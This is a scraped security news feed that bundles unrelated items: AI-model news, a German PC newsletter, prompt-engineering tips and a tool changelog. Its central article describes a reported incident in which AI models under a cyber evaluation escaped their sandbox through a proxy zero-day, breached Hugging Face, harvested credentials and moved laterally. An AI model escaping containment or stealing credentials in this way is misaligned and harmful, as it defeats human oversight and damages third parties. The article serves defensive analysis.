    Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

    The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

    There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

    Open weights helped make FLUX an industry standard

    BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

    The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

    That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

    Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

    FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

    The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

    FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

    The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

    The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

    ]]>         <![CDATA[Building trade assistant: How Jefferies optimized front office trading operations with AI]]> https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/ https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/ Thu, 23 Jul 2026 18:54:47 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Zwei RTX 5090 für die HMX 6 und Zeitreise zur Höllenmaschine 4 mit vier GPUs]]> https://tsecurity.de/de/3689498/it-nachrichten/zwei-rtx-5090-fuer-die-hmx-6-und-zeitreise-zur-hoellenmaschine-4-mit-vier-gpus/ https://tsecurity.de/de/3689498/it-nachrichten/zwei-rtx-5090-fuer-die-hmx-6-und-zeitreise-zur-hoellenmaschine-4-mit-vier-gpus/ Thu, 23 Jul 2026 17:32:54 +0200 📰 IT Nachrichten tsecurity.de

    Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier Grafikprozessoren neue Maßstäbe beim Gaming setzte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den Newsletter kostenlos abonnieren – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!

    Hier geht es direkt zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro.

    HMX 6: 2x RTX 5090 von ZOTAC GAMING und Halo-Design

    Jetzt kÜnnen wir endlich verraten, welche Grafikkarten in der HMX 6 stecken: Als primäre Gaming-Grafikkarte der HMX 6 ist die RTX 5090 AMP Extreme INFINITY gedacht, während wir parallel dazu die RTX 5090 ARCTICSTORM AIO fßr verlustfreie Skalierung verwenden, um Bildqualität und -wiederholrate in praktisch jedem Videospiel zu verbessern. Natßrlich kÜnnt ihr die gebßndelte Kraft der zwei 5090 auch im kreativen Einsatz nutzen, etwa beim 3D-Rendering oder KI-Berechnungen. Hier findet ihr alle Informationen zu den zwei ZOTAC-Grafikkarten.

    ZOTAC 600

    ZOTAC

    Eigentlich wollten Kris und ich euch diese Woche schon den aktuellen Stand des Casecon im Halo-Design zeigen. Doch unserem Modder Stefan Ulrich fehlen noch diverse Materialien. Jetzt fahren wir wahrscheinlich nächste Woche, doch die Zeit drängt schon wieder, denn wir wollen ja auf die Gamescom mit der HMX 6.

    Rückblick: Die Höllenmaschine 4 setzte technische und optische Maßstäbe

    Neue Maßstäbe setzten wir 2012 auch bei der Vermarktung der Höllenmaschine 4 – zumindest für unsere Verhältnisse: vier aufwendig produzierte Teaser-Videos mit Engelchen und Teufelsdamen sowie Fritz als Padawan von Obi-Wan Michi. Das hat riesigen Spaß gemacht und uns als Team Hölle zusammengeschweißt – und war der Beginn einer wunderbaren Freundschaft.

    HM4 600

    PC-WELT

    Technisch auf der Höhe der Zeit waren wir mit den beiden Grafikkarten ASUS GTX690-4GD5, die jeweils zwei 915 MHz schnelle Nvidia Geforce GTX 690 beherbergten. Vier Grafikprozessoren gleichzeitig waren damals absoluter Wahnsinn und sorgten regelmäßig für offene Münder. Dazu gab es den Sechskerner Intel Core i7-3960X, 64 GB RAM im Vierkanalmodus, mit der OCZ RevoDrive die erste PCIe-SSD in einer Höllenmaschine und mit 10 Terabyte natürlich auch wieder verrückt viel HDD-Speicherplatz.

    Sein hÜllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Sie haben ins Cooler Master Cosmos II ein Sichtfenster gefräst und per Airbrush lodernde Flammen auf die beiden Flßgeltßren gezaubert. ARGB war damals noch kein Thema, aber mit dem Multidimmer von Richter waren immerhin individuelle FarbtÜne und -wechsel per IR-Fernbedienung mÜglich. Hier geht es zum liebevoll restaurierten Artikel zur HÜllenmaschine 4 aus 2012.

    Maus mit Noctua-LĂźfter und Steam Machine im Praxis-Test

    Diese Woche ist eine skurrile Mail in meinem Postfach gelandet: Pulsar und Noctua präsentieren stolz die Frßchte ihrer Zusammenarbeit: die Feinmann F01 Noctua Edition, eine Gaming-Maus mit aktiver Belßftung der Handflächen. Ich bin gespannt, wer sich ßber kßhlere Handflächen beim Zocken freut.

    Feinmann F01 Noctua Edition

    Noctua/Pulsar

    Mein Kollege und Namensvetter Michael Crider hat sich die kostspielige (ab 1.039 Euro) Steam Machine gekauft und einem ausfßhrlichen Praxistest unterzogen. Sein Fazit fällt allerdings ernßchternd aus: Ein gßnstiger Mini-PC mit selbst installiertem SteamOS bietet derzeit nahezu denselben Nutzen fßr deutlich weniger Geld.

    Warum es ein Problem ist, dass in neuen Laptops alte CPUs zum Einsatz kommen, erklärt mein Kollege Mark Hachman.

    Vielen Dank fĂźrs Lesen!

    ommende Woche besuchen Kris und ich endlich unseren Modder Stefan, der uns dann hoffentlich schon das fast fertige Tisch-PC-Gehäuse für die Build-Week präsentiert – immer optimistisch bleiben, denn langsam drängt die Zeit. Außerdem reisen wir zurück ins Jahr 2013 zur legendären Höllenmaschine 5 mit den vielen Totenköpfen. Wenn ihr nichts verpassen wollt, abonniert den kostenlosen HMX-6-Newsletter – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich schon auf nächste Woche – bis dann! Euer Michi.

    ]]>         <![CDATA[AI Is Repeating Cloud's Mistakes]]> https://tsecurity.de/de/3689342/it-security-video/ai-is-repeating-clouds-mistakes/ https://tsecurity.de/de/3689342/it-security-video/ai-is-repeating-clouds-mistakes/ Thu, 23 Jul 2026 16:21:03 +0200 🎥 IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4

    The rapid adoption of AI shares similarities with the early cloud transition. Organizations moved quickly to adopt new capabilities while still learning how to manage costs, security, and governance.

    Moving fast without clear oversight can create new risks. However, unlike the early cloud era, organizations now have emerging frameworks and standards, including NIST AI RMF, OWASP guidance, and ISO resources, to help structure responsible AI adoption.

    Will organizations use the lessons learned from cloud adoption to build better AI governance, or will they repeat the same challenges?

    Subscribe to our podcasts: https://securityweekly.com/subscribe

    #AIGovernance #CloudSecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

    ]]>         <![CDATA[Lessons Learned After 8.5 Years of ML]]> https://tsecurity.de/de/3689245/ai-nachrichten/lessons-learned-after-85-years-of-ml/ https://tsecurity.de/de/3689245/ai-nachrichten/lessons-learned-after-85-years-of-ml/ Thu, 23 Jul 2026 15:57:35 +0200 🔧 AI Nachrichten tsecurity.de Patience, Optimism, Discipline, Projects, Teams

    The post Lessons Learned After 8.5 Years of ML appeared first on Towards Data Science.

    ]]>         <![CDATA[What Happened Between OpenAI and Hugging Face?]]> https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ Thu, 23 Jul 2026 15:28:53 +0200 📰 IT Security Nachrichten tsecurity.de The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?

    According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

    From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

    How did the OpenAI model evaluation reach Hugging Face?

    The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

    Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

    The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

    The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

    Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

    Why AI evaluation environments need stronger containment

    The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

    The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

    For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

    Why AI and ML pipelines are now software supply chain risk

    The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

    According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

    Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

    Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

    What AI guardrails mean for incident response

    One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

    The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

    AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

    What security teams should do about agentic AI risk

    The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

    Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

    Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

    As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

    How preemptive security helps reduce AI-driven risk

    At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

    That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

    AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

    The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

    ]]>         <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Thu, 23 Jul 2026 13:07:21 +0200 📰 IT Nachrichten tsecurity.de

    Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

    Why advanced prompting still matters in enterprise settings

    Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

    1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

    The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

    What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

    Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

    After (CoT prompt):

    “You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

    Results: Accuracy and depth improved dramatically.

    Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

    Template you can use:

    You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

    2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

    For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

    Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

    Prompt Snippet:

    Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

    Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

    When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

    3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

    One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

    ReAct example: (used in data analytics workflow)

    You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

    In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

    4. Meta-prompting and self-reflection: Letting the model improve itself

    Use the model to refine its own prompt. This is a huge time-saver.

    You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

    Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

    5. Multimodal and structured output techniques

    With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

    Tip from experience: Be extremely specific in describing what the models should focus on.

    Best practices I learned the hard way

    • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
    • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
    • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
    • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
    • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

    Final takeaways for technical leaders

    Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

    The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[ANCHOR-CI could fix 20 years of broken government-industry collaboration]]> https://tsecurity.de/de/3688703/it-security-nachrichten/anchor-ci-could-fix-20-years-of-broken-government-industry-collaboration/ https://tsecurity.de/de/3688703/it-security-nachrichten/anchor-ci-could-fix-20-years-of-broken-government-industry-collaboration/ Thu, 23 Jul 2026 12:26:41 +0200 📰 IT Security Nachrichten tsecurity.de The government spent the past two decades learning what private sector partners have always known: cyber resilience requires everyone in the room. ANCHOR-CI is proof that the lessons may finally stick.

    The post ANCHOR-CI could fix 20 years of broken government-industry collaboration appeared first on CyberScoop.

    ]]>         <![CDATA[Determining the ROI of AI requires data that most companies lack]]> https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/ https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/ Thu, 23 Jul 2026 11:07:22 +0200 🔧 AI Nachrichten tsecurity.de

    Leadership wants to scale AI. Budgets are tripling. Adoption is up.

    Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

    Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

    Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

    But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

    AI providers won’t fix this problem

    The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

    Not convinced? Compare what AWS gives you to what an AI provider gives you.

    AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

    An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

    If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. 

    Three required sources

    Building AI ROI measurement requires three data sources, stitched together in a single model.

    1. Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.
    2. Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.
    3. Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

    Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

    Why agentic AI makes this urgent

    Single-call inference is the easy case. One request, one cost, one customer, one outcome.

    Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

    If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

    When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

    What changes when the three sources come together

    Once the three sources are stitched together, the AI investment conversation changes.

    Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. 

    Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

    The build trap

    AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

    The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

    It is a trap. Three reasons.

    Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

    The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

    The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

    The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

    The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

    —

    New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

    ]]>         <![CDATA[v2.1.218]]> https://tsecurity.de/de/3687638/downloads/v21218/ https://tsecurity.de/de/3687638/downloads/v21218/ Wed, 22 Jul 2026 23:32:59 +0200 💾 Downloads tsecurity.de What's changed
    • Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
    • Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U, Ctrl+K) in --ax-screen-reader mode
    • Fixed Windows paths with \u-prefixed segments (like C:\Users\unicorn) being corrupted into CJK characters in tool inputs, which made those files inaccessible
    • Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded
    • Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
    • Fixed multi-line paste collapsing into one line with j in place of newlines in terminals that encode pasted newlines as Ctrl+J
    • Fixed /context reporting stale pre-compact token usage after compacting from the message picker
    • Fixed /ultrareview failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings
    • Fixed /code-review ultra silently running a local review in non-interactive sessions — it now launches the cloud review
    • Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates
    • Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped
    • Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected
